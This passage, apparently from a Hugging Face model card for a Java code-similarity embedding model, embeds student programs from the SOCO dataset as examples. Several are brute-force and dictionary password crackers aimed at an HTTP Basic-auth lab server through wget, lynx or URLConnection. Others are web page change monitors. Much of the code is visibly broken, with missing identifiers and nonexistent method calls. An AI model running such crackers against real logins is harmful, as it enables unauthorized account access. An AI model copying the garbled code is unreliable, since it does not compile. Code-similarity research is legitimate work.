if(!cracked)\n System.out.println(\"\ + Sorry, couldnt find the password\");\n else\n System.out.println(\"\ + Password found: \"+password);\n System.out.println(\"Time taken: \"+(stopTime-startTime));\n\ + \ }\n\n public static boolean isAlpha(String s)\n {\n boolean v = true;\n\ + \ for(int i=0; i>= 6;\n out[index+2]\ + \ = alphabet[(trip? ( bat & 0x3F): 64)];\n bat >>= 6;\n out[index+1]\ + \ = alphabet[bat & 0x3F];\n bat >>= 6;\n out[index+0] = alphabet[\ + \ bat & 0x3F];\n }\n return out;\n}\n\n \nstatic public byte[] decode(char[]\ + \ data)\n{\n \n \n \n \n \n \n\n int tempLen = data.length;\n\ + \ for( int ix=0; ix 255)\ + \ || codes[ data[ix] ] < 0 )\n --tempLen; \n }\n \n \n \ + \ \n \n\n int len = (tempLen / 4) * 3;\n if ((tempLen % 4) == 3) len\ + \ += 2;\n if ((tempLen % 4) == 2) len += 1;\n\n byte[] out = new byte[len];\n\ + \n\n\n int shift = 0; \n int accum = 0; \n int index = 0;\n\n \ + \ \n for (int ix=0; ix255)?\ + \ -1: codes[ data[ix] ];\n\n if ( value >= 0 ) \n {\n\ + \ accum <<= 6; \n shift += 6; \n\ + \ accum |= value; \n if ( shift >= 8 ) \n\ + \ {\n shift -= 8; \n out[index++]\ + \ = \n (byte) ((accum >> shift) & 0xff);\n \ + \ }\n }\n \n \n \n \n \n \n \ + \ }\n\n \n if( index != out.length)\n {\n throw new Error(\"\ + Miscalculated data length (wrote \" + index + \" instead of \" + out.length +\ + \ \")\");\n }\n\n return out;\n}\n\n\n\n\n\nstatic private char[] alphabet\ + \ =\n \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\"\ + \n .toCharArray();\n\n\n\n\nstatic private byte[] codes = new byte[256];\n\ + static {\n for (int i=0; i<256; i++) codes[i] = -1;\n for (int i = 'A';\ + \ i <= 'Z'; i++) codes[i] = (byte)( i - 'A');\n for (int i = 'a'; i <=\ + \ 'z'; i++) codes[i] = (byte)(26 + i - 'a');\n for (int i = '0'; i <= '9';\ + \ i++) codes[i] = (byte)(52 + i - '0');\n codes['+'] = 62;\n codes['/']\ + \ = 63;\n}\n}" + - "\nimport java.net.*;\nimport java.*;\nimport java.io.*;\nimport java.util.GregorianCalendar;\n\ + public class Dictionary\n{\n\n\n\n public void crackAddress(String fileName)\ + \ throws Exception\n {\n String line,username=\"\",passwd,pass;\n \ + \ int flag=0,i;\n BufferedReader bf = new BufferedReader(new FileReader(fileName));\n\ + \ Runtime run = Runtime.getRuntime();\n GregorianCalendar =new GregorianCalendar();\n\ + \ while((passwd=bf.readLine().trim())!=null)\n {\n if((i=passwd.indexOf(\"\ + \\'\"))!= -1)\n {\n passwd =passwd.substring(0,i)+(\"\ + \\\\\")+(passwd.substring(i,passwd.length()));\n }\n\n \ + \ System.out.println(\"Hack password with the word:\"+passwd);\n\t String\ + \ command_line = \"lynx http://sec-crack.cs.rmit.edu./SEC/2/ -auth=\"+username+\"\ + :\"+passwd+\" -dump\";\n\t Process result = run.exec(command_line);\n \ + \ BufferedReader bf = new BufferedReader(new InputStreamReader(result.getInputStream()));\n\ + \n while((line=bf.readLine())!=null)\n {\n flag=1;\n \ + \ break;\n\n }\n if(flag==1)\n {\n System.out.println(\"\ + The username is: \"+username+\" The password is: \"+passwd);\n break;\n\ + \ }\n }\n GregorianCalendar end=new GregorianCalendar();\n\ + \ double time = (double)(end.getTimeInMillis()-System.getTimeInMillis())/1e3;\n\ + \ System.out.println(\"The attack use\"+time+\" seconds.\");\n }\n\n\ + public static void main(String args[]) throws Exception\n{\n Dictionary ds =\ + \ new Dictionary();\n ds.crackAddress(args[0]);\n}\n}" +- source_sentence: "package java.httputils;\n\nimport java.io.BufferedInputStream;\n\ + import java.io.BufferedOutputStream;\nimport java.io.BufferedReader;\nimport java.io.FileInputStream;\n\ + import java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport\ + \ java.io.FileReader;\nimport java.io.IOException;\nimport java.io.OutputStream;\n\ + \n\npublic class WatchDog\n{\n protected final int MILLIS_IN_HOUR = (60 * 60\ + \ * 1000);\n protected int interval = 24;\n protected String URL = \"http://www.cs.rmit.edu./students/\"\ + ;\n protected String fileName = \"WatchDogContent.html\";\n protected String\ + \ command = \"./alert_mail.sh\";\n protected String savedContent;\n protected\ + \ String retrievedContent;\n\n \n public WatchDog()\n {\n super();\n\ + \ }\n\n \n public void run() throws Exception\n {\n HttpRequestClient\ + \ client = null;\n \n \n System.out.println(getClass().getName()\ + \ +\n \"Retrieving baseline copy of: \" + getURL());\n\ + \ client = new HttpRequestClient(getURL());\n retrievedContent =\ + \ client.getContent().toString();\n\n System.out.println(getClass().getName()\ + \ +\n \"Writing baseline content : \" + getFileName());\n\ + \ writeFile();\n\n while (true)\n {\n \n \ + \ System.out.println(getClass().getName() +\n \ + \ \" Sleeping for hours: \" + getInterval());\n Thread.currentThread().sleep(MILLIS_IN_HOUR\ + \ * getInterval());\n\n \n System.out.println(getClass().getName()\ + \ +\n \" Retrieving: \" + getURL());\n\n \ + \ client = new HttpRequestClient(getURL());\n retrievedContent = client.getContent().toString();\n\ + \n \n System.out.println(getClass().getName() +\n \ + \ \" saved copy: \" + getURL());\n savedContent\ + \ = readFile();\n\n \n System.out.println(getClass().getName()\ + \ +\n \" Comparing saved and retrieved. \");\n \ + \ if (!savedContent.equals(retrievedContent))\n {\n \ + \ \n System.out.println(getClass().getName() +\n \ + \ \" Difference found. \");\n\n writeTempFile();\n\ + \ runCommand();\n }\n\n \n writeFile();\n\ + \ }\n }\n\n\n \n public String runCommand()\n {\n String\ + \ cmd = getCommand() + \" \\\"\" + getURL() + \"\\\"\";\n try\n \ + \ {\n Runtime r = Runtime.getRuntime();\n System.out.println(getClass().getName()\ + \ +\n \" Executing: \" + cmd);\n\n Process proc = r.exec(cmd);\n\ + \ }\n catch (Exception e)\n {\n try\n \ + \ {\n Runtime r = Runtime.getRuntime();\n Process\ + \ proc = r.exec(cmd);\n }\n catch (Exception ex)\n \ + \ {\n System.out.println(getClass().getName()\n \ + \ + \" Could not run :\"\n + getCommand()\n \ + \ + \" because : \"\n + ex.getMessage());\n \ + \ }\n }\n\n return \"Executed successfully\";\n }\n\ + \n \n protected String readFile() throws FileNotFoundException\n {\n\ + \ BufferedInputStream input = null;\n FileInputStream file = null;\n\ + \ StringBuffer content = new StringBuffer();\n try\n {\n\ + \ file = new FileInputStream(getFileName());\n \n \ + \ input = new BufferedInputStream(file);\n \n }\n \ + \ catch (FileNotFoundException x)\n {\n System.err.println(\"\ + File not found: \" + getFileName());\n throw x;\n }\n\n \ + \ try\n {\n int ch;\n while ((ch = input.get())\ + \ != -1)\n {\n content.append((char)ch);\n \ + \ }\n }\n catch (IOException x)\n {\n x.printStackTrace();\n\ + \ }\n finally\n {\n if (input != null)\n \ + \ {\n try\n {\n input.get();\n\ + \ file.get();\n }\n catch (IOException\ + \ e)\n {\n }\n }\n }\n \ + \ return content.toString();\n }\n\n \n protected void writeFile() throws\ + \ Exception\n {\n OutputStream os = null;\n try\n {\n\ + \ os = new BufferedOutputStream(\n new FileOutputStream(getFileName(),\ + \ false));\n os.write(getRetrievedContent().getBytes());\n }\n\ + \ catch (FileNotFoundException e)\n {\n e.printStackTrace();\n\ + \ throw e;\n }\n catch (IOException e)\n {\n \ + \ e.printStackTrace();\n throw e;\n }\n finally\n\ + \ {\n if (os != null)\n {\n try\n\ + \ {\n os.close();\n }\n \ + \ catch (IOException e)\n {\n }\n \ + \ }\n }\n }\n\n \n protected void writeTempFile() throws\ + \ Exception\n {\n OutputStream os = null;\n try\n {\n\ + \ os = new BufferedOutputStream(\n new FileOutputStream(\"\ + .html\", false));\n os.write(getRetrievedContent().getBytes());\n \ + \ }\n catch (FileNotFoundException e)\n {\n e.printStackTrace();\n\ + \ throw e;\n }\n catch (IOException e)\n {\n \ + \ e.printStackTrace();\n throw e;\n }\n finally\n\ + \ {\n if (os != null)\n {\n try\n\ + \ {\n os.close();\n }\n \ + \ catch (IOException e)\n {\n }\n \ + \ }\n }\n }\n\n public static void main(String[] args)\n \ + \ {\n WatchDog watchDog = new WatchDog();\n\n if (args.length\ + \ < 3)\n {\n watchDog.printUsage();\n }\n\n \n\ + \ System.out.println(watchDog.getClass().getName() +\n \ + \ \": Initialising with \" +\n args[0] + \" \\n\"\ + \ +\n args[1] + \" \\n\" +\n args[2]\ + \ + \" \\n\");\n watchDog.setURL(args[0]);\n watchDog.setInterval(Integer.parseInt(args[1]));\n\ + \ watchDog.setCommand(args[2]);\n\n \n try\n {\n \ + \ System.out.println(watchDog.getClass().getName() + \": Invoking the\ + \ run method.\");\n watchDog.run();\n }\n catch (Exception\ + \ e)\n {\n e.printStackTrace();\n }\n }\n\n public\ + \ String printUsage()\n {\n StringBuffer s = new StringBuffer();\n\n\ + \ s.append(\"** WatchDog proper usage **\\n\\n\");\n s.append(\n\ + \ this.getClass().getName() +\n \" \\n\\n\");\n\n return s.toString();\n }\n\n \n public\ + \ String getCommand()\n {\n return command;\n }\n\n \n public\ + \ String getFileName()\n {\n return fileName;\n }\n\n \n public\ + \ int getInterval()\n {\n return interval;\n }\n\n \n public\ + \ String getURL()\n {\n return URL;\n }\n\n \n public void\ + \ setCommand(String string)\n {\n command = string;\n }\n\n \n\ + \ public void setFileName(String string)\n {\n fileName = string;\n\ + \ }\n\n \n public void setInterval(int i)\n {\n interval =\ + \ i;\n }\n\n \n public void setURL(String string)\n {\n URL\ + \ = string;\n }\n\n \n public String getRetrievedContent()\n {\n \ + \ return retrievedContent;\n }\n\n \n public String getSavedContent()\n\ + \ {\n return savedContent;\n }\n\n \n public void setRetrievedContent(String\ + \ string)\n {\n retrievedContent = string;\n }\n\n \n public\ + \ void setSavedContent(String string)\n {\n savedContent = string;\n\ + \ }\n\n}\n" + sentences: + - "\n\n\n\n\n\n\nimport java.*;\nimport java.io.*;\nimport java.util.*;\n\npublic\ + \ class BruteForce\n{\n\n\tpublic static void main(String[] args) \n\t{\n \ + \ Runtime rt = Runtime.getRuntime();\n\t Process pr= null;\n \ + \ char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\ + \t String pass;\n char temp[] = {'a','a'};\n char temp1[] =\ + \ {'a','a','a'};\n char temp2[] = {'a'};\n\n\t String f= new String();\n\ + \ String resp = new String();\n int count=0;\n String\ + \ success = new String();\n InputStreamReader instre;\n BufferedReader\ + \ bufread;\n\n\n for(int k=0;k<52;k++)\n {\n \ + \ temp2[0]=chars[k];\n pass = new String(temp2); \ + \ \n count++; \n\n System.out.println(\"\ + The password tried is------->\"+pass+\"---and attempt is==\"+count);\n \ + \ \n f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ + ;\n\n \n\t try\n {\n\t\t pr = rt.exec(f);\n\ + \n instre = new InputStreamReader(pr.getErrorStream());\n \ + \ \n \n bufread\ + \ = new BufferedReader(instre);\n\n resp = bufread.readLine();\n\ + \ while( (resp = bufread.readLine())!= null)\n\t\t\t {\n \ + \ if(resp.equals(\"HTTP request sent, awaiting response...\ + \ 200 OK\"))\n {\n System.out.println(\"\ + Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\ + +count);\n System.exit(0);\n \ + \ }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException\ + \ e){}\n }\n\n\n\n \n for(int j=0;j<52;j++)\n \ + \ {\n for(int k=0;k<52;k++)\n {\n \ + \ temp[0]=chars[j];\n temp[1]=chars[k];\n\n \ + \ pass = new String(); \n count++; \ + \ \n\n System.out.println(\"The password tried is------->\"\ + +pass+\"---and attempt is==\"+count);\n \n f =\"wget --http-user=\ + \ --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n\n\ + \ \n\t try\n {\n\t\t pr = rt.exec(f);\n\ + \n instre = new InputStreamReader(pr.getErrorStream());\n \ + \ \n \n bufread\ + \ = new BufferedReader(instre);\n\n resp = bufread.readLine();\n\ + \ while( (resp = bufread.readLine())!= null)\n\t\t\t {\n \ + \ if(resp.equals(\"HTTP request sent, awaiting response...\ + \ 200 OK\"))\n {\n System.out.println(\"\ + Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\ + +count);\n System.exit(0);\n \ + \ }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException\ + \ e){}\n }\n }\n\n\n \n for(int i=0;i<52;i++)\n\ + \ for(int j=0;j<52;j++)\n for(int k=0;k<52;k++)\n \ + \ {\n temp1[0]=chars[i];\n temp1[1]=chars[j];\n\ + \ temp1[2]=chars[k];\n pass = new String(temp1);\ + \ \n count++; \n\n System.out.println(\"\ + The password tried is------->\"+pass+\"---and attempt is==\"+count);\n \ + \ \n f =\"wget --http-user= --http-passwd=\"+pass+\" http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ + ;\n\n \n\t try\n {\n\t\t pr = rt.exec(f);\n\ + \n instre = new InputStreamReader(pr.getErrorStream());\n \ + \ \n \n bufread\ + \ = new BufferedReader(instre);\n\n resp = bufread.readLine();\n\ + \ while( (resp = bufread.readLine())!= null)\n\t\t\t {\n \ + \ if(resp.equals(\"HTTP request sent, awaiting response...\ + \ 200 OK\"))\n {\n System.out.println(\"\ + Eureka!! Eureka!!! The password has been found it is:\"+pass+\"------ attempt:\"\ + +count);\n System.exit(0);\n \ + \ }\n\t\t\t\n }\n\t \t\n }catch(java.io.IOException\ + \ e){}\n }\n\t\n\t\t\n\t}\n\t\n\t\n} \n\t\t\n" + - "import java.util.*;\nimport java.io.*;\n\n\n\npublic class WatchDog {\n\n public\ + \ WatchDog() {\n\n }\n public static void main(String args[]) {\n DataInputStream\ + \ newin;\n\n try{\n\n\n System.out.println(\"Downloading first copy\"\ + );\n Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/ -O\ + \ oldfile.html\");\n String[] cmdDiff = {\"//sh\", \"-c\", \"diff oldfile.html\ + \ newfile.html > Diff.txt\"};\n String[] cmdMail = {\"//sh\", \"-c\", \"\ + mailx -s \\\"Diffrence\\\" \\\"@cs.rmit.edu.\\\" < Diff.txt\"};\n while(true){\n\ + \ Thread.sleep(24*60*60*1000);\n System.out.println(\"Downloading\ + \ new copy\");\n Runtime.getRuntime().exec(\"wget http://www.cs.rmit.edu./students/\ + \ -O newfile.html\");\n Thread.sleep(2000);\n Runtime.getRuntime().exec(cmdDiff);\n\ + \ Thread.sleep(2000);\n newin = new DataInputStream( new\ + \ FileInputStream( \"Diff.txt\"));\n if (newin.readLine() != null){\n\ + \ System.out.println(\"Sending Mail\");\n Runtime.getRuntime().exec(cmdMail);\n\ + \ Runtime.getRuntime().exec(\"cp newfile.html oldfile.html\");\n\ + \n }\n }\n\n }\n catch(Exception e){\n e.printStackTrace();\n\ + \ }\n\n }\n\n}" + - "\n\nimport java.io.*;\nimport java.util.*;\nimport java.net.*;\n\n\npublic class\ + \ BruteForce {\n\n\tpublic BruteForce() {\n\t\t\n\t}\n\n\tpublic static void main(String[]\ + \ args) {\n\n\tString[] validPW = { \"a\", \"b\", \"c\", \"d\", \"e\", \"f\",\ + \ \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\",\n\t\t\t\"n\", \"o\", \"p\"\ + , \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\",\n\t\t\t\ + \"A\", \"B\", \"C\", \"D\", \"E\", \"F\", \"G\", \"H\", \"I\", \"J\", \"K\", \"\ + L\", \"M\",\n\t\t\t\"N\", \"O\", \"P\", \"Q\", \"R\", \"S\", \"T\", \"U\", \"\ + V\", \"W\", \"X\", \"Y\", \"Z\" };\n\n\tString attackWP = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\ + ;\n\tString userID = \"\";\n\tint trytimes = 0;\n\tint count=52;\n\tString userPassword=\"\ + \";\n\ttry {\n\t\t startmillisecond = System.currentTimeMillis();\n\t\n\t\tfor\ + \ (int i = 0; i < count; i++) {\n for (int j = 0; j < count;\ + \ j++) {\n for (int k = 0; k < count; k++) {\n\t\t\ttrytimes\ + \ ++;\n\t\t\tuserPassword = userID + \":\" + validPW[i] + validPW[j] + validPW[k];\n\ + \t\t\tint attackOK = new BruteForce().attackURL(userPassword, attackWP);\n\t\t\ + \tif (attackOK == 1) {\n\t\t\t\t endmillisecond = System.currentTimeMillis();\n\ + \t\t\t\t searchmillisecond = endmillisecond - startmillisecond;\n\t\t\t\tSystem.out.println(\"\ + Match in \" + searchmillisecond + \" milliseconds \");\n\t\t\t\tSystem.out.println(\"\ + Try \" + trytimes + \" times \");\n\t\t\t\tSystem.exit(1);\n\t\t\t}\n\t\t }\n\ + \t\t }\n\t\t}\n\t\n\t\tfor (int i = 0; i < count; i++) {\n for\ + \ (int j = 0; j < count; j++) {\n\t\t\ttrytimes ++;\n\t\t\tuserPassword = userID\ + \ + \":\" + validPW[i] + validPW[j];\n\t\t\tint attackOK = new BruteForce().attackURL(userPassword,\ + \ attackWP);\n\t\t\tif (attackOK == 1) {\n\t\t\t\t endmillisecond = System.currentTimeMillis();\n\ + \t\t\t\t searchmillisecond = endmillisecond - startmillisecond;\n\t\t\t\tSystem.out.println(\"\ + Match in \" + searchmillisecond + \" milliseconds \");\n\t\t\t\tSystem.out.println(\"\ + Try \" + trytimes + \" times \");\n\t\t\t\tSystem.exit(1);\n\t\t\t}\n\t\t }\n\ + \t\t}\n\t\n\t\tfor (int i = 0; i < count; i++) {\n\t\t\tuserPassword = userID\ + \ + \":\" + validPW[i];\n\t\t\ttrytimes ++;\n\t\t\tint attackOK = new BruteForce().attackURL(userPassword,\ + \ attackWP);\n\t\t\tif (attackOK == 1) {\n\t\t\t\t endmillisecond = System.currentTimeMillis();\n\ + \t\t\t\t searchmillisecond = endmillisecond - startmillisecond;\n\t\t\t\tSystem.out.println(\"\ + Match in \" + searchmillisecond + \" milliseconds \");\n\t\t\t\tSystem.out.println(\"\ + Try \" + trytimes + \" times \");\n\t\t\t\tSystem.exit(1);\n\t\t\t}\n\t\t}\n\t\ + }\n\tcatch (Exception ioe) {\n System.out.println(ioe.getMessage());\n\ + \ }\n finally {\n }\n\t}\n\t\n\tpublic int attackURL(String\ + \ userPassword, String attackWP) {\n\t\tint rtn = 1;\n\t\ttry {\n\t\t URL\ + \ url = new URL(attackWP);\n\t\t\tSystem.out.println(\"User & Password :\" + userPassword);\n\ + \t\t String encoding = Base64Converter.encode (userPassword.getBytes());\n\ + \t\t\t\n\t\t\tURLConnection uc = url.openConnection();\n\t\t\tuc.setRequestProperty\ + \ (\"Authorization\", \" \" + encoding);\n\t\t\tInputStream content = (InputStream)uc.getInputStream();\n\ + \t\t\tBufferedReader in = new BufferedReader (new InputStreamReader (content));\n\ + \t\t\tString line;\n\t\t\twhile ((line = in.readLine()) != null) {\n\t\t\t\n\t\ + \t\t\tSystem.out.println(line);\n\t\t }\n\t\t} catch (MalformedURLException\ + \ e) {\n\t\t\trtn = 2;\n\t \t\tSystem.out.println(\"Invalid URL\");\n\t\t\ + } catch (IOException e) {\n \t\t\tSystem.out.println(\"Error URL\");\n\t\ + \t\trtn = 2;\n\t\t}\n\t\treturn rtn;\n\t}\n\n}\n" +- source_sentence: "\n\n\n\n\n\n\nimport java.io.*;\nimport java.lang.Object;\n\n\ + public class WatchDog\n{\n\n \n public static void main(String args[])throws\ + \ Exception\n {\n Process p1,p2,p3,p4,p5;\n \n for(;;)\n\ + \ {\n \n\n String s1[] = {\"/usr/local//tcsh\", \"-c\"\ + , \"mailx -s \\\"Part 2-Assignment2 \\\" < change.html\"};\n String\ + \ s2[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./images/*.* predir\"\ + };\n String s3[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./students/*.*\ + \ predir\"};\n String s4[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./images/*.*\ + \ postdir\"};\n String s5[] = {\"/usr/local//tcsh\", \"-c\", \"mv www.cs.rmit.edu./students/*.*\ + \ postdir\"};\n String s6[] = {\"/usr/local//tcsh\", \"-c\", \"diff copy1\ + \ copy2 > diff.html\"};\n\n\n Process p = Runtime.getRuntime().exec(\"\ + mkdir predir\");\n p.waitFor();\n Process p1 = Runtime.getRuntime().exec(\"\ + mkdir postdir\");\n p1.waitFor();\n\n \n p1 = Runtime.getRuntime().exec(\"\ + wget -p --convert-links http://www.cs.rmit.edu./students/\");\n p1.waitFor();\n\ + \n Process q2 = Runtime.getRuntime().exec(s2);\n q2.waitFor();\n\ + \ Process q3 = Runtime.getRuntime().exec(s3);\n q2.waitFor();\n\ + \n \n Thread.sleep(86400000);\n\n p3 = Runtime.getRuntime().exec(\"\ + wget -p --convert-links http://www.cs.rmit.edu./students/\");\n p3.waitFor();\n\ + \n Process q4 = Runtime.getRuntime().exec(s4);\n q4.waitFor();\n\ + \ Process q5 = Runtime.getRuntime().exec(s5);\n q5.waitFor();\n\ + \n try\n {\n String str;\n p4 = Runtime.getRuntime().exec(s6);\n\ + \ DataInputStream inp1 = new DataInputStream(p4.getInputStream());\n\ + \ p4.waitFor();\n \n System.out.println(\"The\ + \ WatchDog - Returns 0 if change else 1\");\n System.out.println(\"\ + Value :\" + p4.exitValue());\n try\n {\n \ + \ while ((str = inp1.readLine()) != null)\n {\n \ + \ System.out.println(str);\n }\n }\n \ + \ catch (IOException e)\n {\n System.exit(0);\n \ + \ }\n\n }\n catch(FileNotFoundException e )\n \ + \ {\n e.printStackTrace();\n }\n\n BufferedReader\ + \ in = new BufferedReader(new FileReader(\"change.html\"));\n \n \ + \ if (in.readLine() != null)\n {\n\n try\n {\n\ + \ String str1;\n p5 = Runtime.getRuntime().exec(s1);\n \ + \ DataInputStream inp2 = new DataInputStream(p5.getInputStream());\n\ + \ p5.waitFor();\n try\n {\n while\ + \ ((str1 = inp2.readLine()) != null)\n {\n System.out.println(str1);\n\ + \ }\n }\n catch (IOException e1)\n \ + \ {\n System.exit(0);\n }\n\n }\n \ + \ catch(FileNotFoundException exp)\n {\n exp.printStackTrace();\n\ + \ }\n\n }\n }\n }\n}\n\n" + sentences: + - "import java.Object;\nimport java.io.*;\nimport java.String;\nimport java.util.*;\n\ + \nclass Dictionary{\n\n public static void main(String [] args){\n \ + \ try\n {\n Date d = new Date();\n \ + \ String line1=\"\";\n String ps=\"\";\n \ + \ String file1 = \"words.txt\";\n String file2 = \"index.html\"\ + ;\n String endline=\"Authorization failed.\";\n \ + \ String [] cmd = new String[4];\n cmd[0] = \"wget\";\n \ + \ cmd[1] = \"--http-user=\";\n cmd[3] = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ + ;\n\n FileReader fr1 = new FileReader(file1);\n \ + \ BufferedReader in1 = new BufferedReader(fr1);\n while((line1\ + \ = in1.readLine())!=null)\n {\n try{\n \ + \ cmd[2] = connect(line1);\n Runtime.getRuntime().exec(cmd);\n\ + \ if(line1.length()==3)\n ps = line1;\n\ + \ System.out.println(cmd[2]);\n File f =\ + \ new File(file2);\n if(f.exists())\n {\n\ + \ System.out.println(\"password: \" + ps);\n \ + \ break;\n }\n }\n \ + \ catch(IOException ex)\n {\n System.out.println(\"\ + hello1\");\n }\n\n }\n Date end\ + \ = new Date();\n System.out.println(d.toString());\n \ + \ System.out.println(end.toString());\n System.out.println(\"\ + Seconds: \" + (end.getSeconds()-d.getSeconds()));\n }\n\n \ + \ catch(IOException e)\n {\n System.out.println(\"\ + hello,didnt find file.\");\n }\n }\n public static String connect(String\ + \ str1)\n {\n char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='};\n\ + \ String str = new String(data);\n return str\ + \ + str1;\n }\n\n}\n" + - "import java.io.*;\nimport java.net.*;\nimport java.security.*;\nimport java.math.*;\n\ + import java.*;\nimport java.util.*;\n\n\npublic class WatchDog\n{\n public\ + \ static FileWriter out = null, output = null;\n\n public static void main\ + \ (String args[]) throws Exception {\n\tSocket socket = null;\n\tDataOutputStream\ + \ = null;\n\tBufferedReader bf = null, fr = null;\n\tString retVal = null, StatusCode\ + \ = \"HTTP/1.1 200 OK\";\n int dirty = 0, count = 0;\n\n stime = System.currentTimeMillis();\n\ + \ System.out.println(\"Detecting the changes...\");\n\n try {\n\n\ + \t \n URL yahoo = new URL(\"http://www.cs.rmit.edu./students/\"\ + );\n URLConnection yc = yahoo.openConnection();\n\n \n \ + \ BufferedReader in = new BufferedReader(\n \ + \ new InputStreamReader(\n yc.getInputStream()));\n\ + \n String inputLine;\n try {\n out = new\ + \ FileWriter(\"newstudent\");\n while ((inputLine = in.readLine())\ + \ != null){\n out.write(inputLine + \"\\n\");\n \ + \ }\n } catch (IOException ex) {\n ex.printStackTrace();\n\ + \ }\n in.print();\n out.print();\n\n \ + \ dirty = diff();\n if (dirty == 1){\n sendMail();\n\ + \ System.out.println(\"Changes detected and email sent!\");\n \ + \ }\n\n if (diffimages() == 1){\n sendMail();\n\ + \ System.out.println(\"Images modification detected and email sent!\"\ + );\n }\n\n updatePage();\n System.out.println(\"\ + ** End of WatchDog checking **\");\n\n } catch (Exception ex) {\n \ + \ ex.printStackTrace();\n }\n }\n\n public static\ + \ int diff()\n {\n int update = 0;\n\n try{\n Process\ + \ process = Runtime.getRuntime().exec(\"diff -b RMITCSStudent newstudent\");\n\ + \ BufferedReader pr = new BufferedReader(\n \ + \ new InputStreamReader(\n process.getInputStream()));\n\ + \n output = new FileWriter(\"output\");\n String inputLine;\n\ + \ while ((inputLine = pr.readLine()) != null){\n output.write(inputLine\ + \ + \"\\n\");\n update = 1;\n }\n output.promt();\n\ + \n }catch (Exception ex){\n ex.printStackTrace();\n }\n\ + \ return update;\n }\n\n public static int diffimages()\n {\n \ + \ int update = 0;\n String image;\n\n try{\n Process\ + \ primages = Runtime.getRuntime().exec(\"./images.sh\");\n wait(1);\n\ + \ File imageFile = new File(\"imagesname\");\n BufferedReader\ + \ fr = new BufferedReader(new FileReader(imageFile));\n\n output = new\ + \ FileWriter(\"output\");\n while ((image = fr.readLine()) != null)\ + \ {\n primages = Runtime.getRuntime().exec(\"diff \" + image +\ + \ \" o\"+image);\n BufferedReader pr = new BufferedReader(\n \ + \ new InputStreamReader(\n \ + \ primages.getInputStream()));\n\n String\ + \ inputLine;\n while ((inputLine = pr.readLine()) != null){\n\ + \ output.write(inputLine + \"\\n\");\n \ + \ update = 1;\n }\n }\n output.print();\n\ + \ fr.close();\n\n }catch (Exception ex){\n ex.printStackTrace();\n\ + \ }\n return update;\n }\n\n public static void sendMail()\n\ + \ {\n try{\n Process mailprocess = Runtime.getRuntime().exec(\"\ + ./email.sh\");\n }catch (Exception ex){\n ex.printStackTrace();\n\ + \ }\n }\n\n public static void updatePage()\n {\n String\ + \ image;\n\n try{\n Process updateprocess = Runtime.getRuntime().exec(\"\ + cp newstudent RMITCSStudent\");\n Process deleteprocess = Runtime.getRuntime().exec(\"\ + rm newstudent\");\n\n File inputFile = new File(\"imagesname\");\n \ + \ BufferedReader fr = new BufferedReader(new FileReader(inputFile));\n\ + \ while ((image = fr.readLine()) != null) {\n updateprocess\ + \ = Runtime.getRuntime().exec(\"cp \" + image + \" o\" + image);\n \ + \ deleteprocess = Runtime.getRuntime().exec(\"rm \" + image);\n \ + \ }\n fr.close();\n }catch (Exception ex){\n ex.printStackTrace();\n\ + \ }\n }\n\n public static void wait(int time){\n\t int timer, times;\n\ + \t timer = System.currentTimeMillis();\n\t times = (time * 1000) + timer;\n\ + \n\t while(timer < times)\n\t\t\ttimer = System.currentTimeMillis();\n\t}\n}" + - "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\ + \n\npublic class BruteForce\n{\n\n\tprivate String result =\"\";\n\n\tpublic\ + \ class customAuthenticator extends Authenticator {\n\t public customAuthenticator(String\ + \ passwd)\n {\n this.pass = passwd;\n }\n\n\t \ + \ protected PasswordAuthentication getPasswordAuthentication()\n \ + \ {\n\t return new PasswordAuthentication(\"\",pass.toCharArray());\n\ + \ }\n public String pass;\n }\n\n public BruteForce()\ + \ {\n java.util.Date d = java.util.Calendar.getInstance().getTime();\n\ + \ System.out.println(d.toString());\n\t\tchar words[] = { 'a','b','c','d','e',\ + \ 'f', 'g', 'h', 'i','j','k','l','m','n','o','p',\n\t\t\t\t\t\t\t 'q','r','s','t','u','v','w','x','y','z',\ + \ 'A','B','C','D','E', 'F', 'G',\n\t\t\t\t\t\t\t 'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\ + \n\t\tString record = null;\n\n\n\n String url = \"http://sec-crack.cs.rmit.edu./SEC/2/\"\ + ;\n\n\t\tchar pass[] = {'x','x','x'};\n\t\tint count=1;\n\t\tString passwd=new\ + \ String();\n HttpURLConnection connection = null;\n URL u = null;\n\ + \n try\n {\n u = new URL(url);\n\n }\n catch\ + \ (MalformedURLException e)\n {\n }\n\n for(int a=0;a +- **Maximum Sequence Length:** 512 tokens +- **Output Dimensionality:** 768 dimensions +- **Similarity Function:** Cosine Similarity +- **Training Dataset:** + - [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) + + + +### Model Sources + +- **Documentation:** [Sentence Transformers Documentation](https://sbert.net) +- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) +- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) + +### Full Model Architecture + +``` +SentenceTransformer( + (0): 